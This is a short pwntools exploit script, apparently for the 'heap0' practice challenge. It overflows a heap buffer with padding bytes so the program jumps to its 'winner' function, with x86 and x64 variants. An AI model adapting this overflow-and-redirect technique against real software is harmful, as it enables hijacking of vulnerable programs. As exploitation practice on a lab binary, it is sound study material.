#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © 2019 anbo <yelong@huawei.com>
#
# Distributed under terms of the MIT license.

from pwn import *
import argparse


def parse_args():
    parser = argparse.ArgumentParser('generate payload')
    parser.add_argument('--x86', help='x86 mode', action='store_true')
    parser.add_argument('--x64', help='x64 mode', action='store_true')
    parser.add_argument('--debug', help='debug', action='store_true')

    args = parser.parse_args()
    return args


def x86(winner_addr):
    payload = flat([
        b'\x90'*72,
        b'A'*2*4,
        winner_addr
    ])

    with open("payload.32", 'wb') as f:
        f.write(payload)

    return payload


def x64(winner_addr):
    payload = flat([
        b'\x90'*0x40,
        b'A'*0x10,
        winner_addr
    ])

    # with open("payload", 'wb') as f:
    #     f.write(payload)

    return payload

def get_payload(winner_addr):
    return flat([
        b'\x90' * 0x40,
        b'A'*(context.bits//8*2),
        p32(winner_addr)
    ])


def main(elf_file):
    args = parse_args()
    if args.debug:
        context.log_level = logging.DEBUG
    if args.x86:
        log.info('x86 mode')
        elf_file = '{}.32'.format(elf_file)
        generator = x86
    else:
        log.info('x64 mode')
        generator = x64

    # elf = context.binary = ELF(elf_file)
    elf = ELF(elf_file)
    log.info('%d', context.bits)
    payload = generator(elf.symbols['winner'])
    # payload = get_payload(elf.symbols['winner'])
    io = process([elf_file, payload])
    log.info('%s', io.recvuntil('\n'))
    log.success('%s', io.recv())


if __name__ == "__main__":
    main("./heap0")
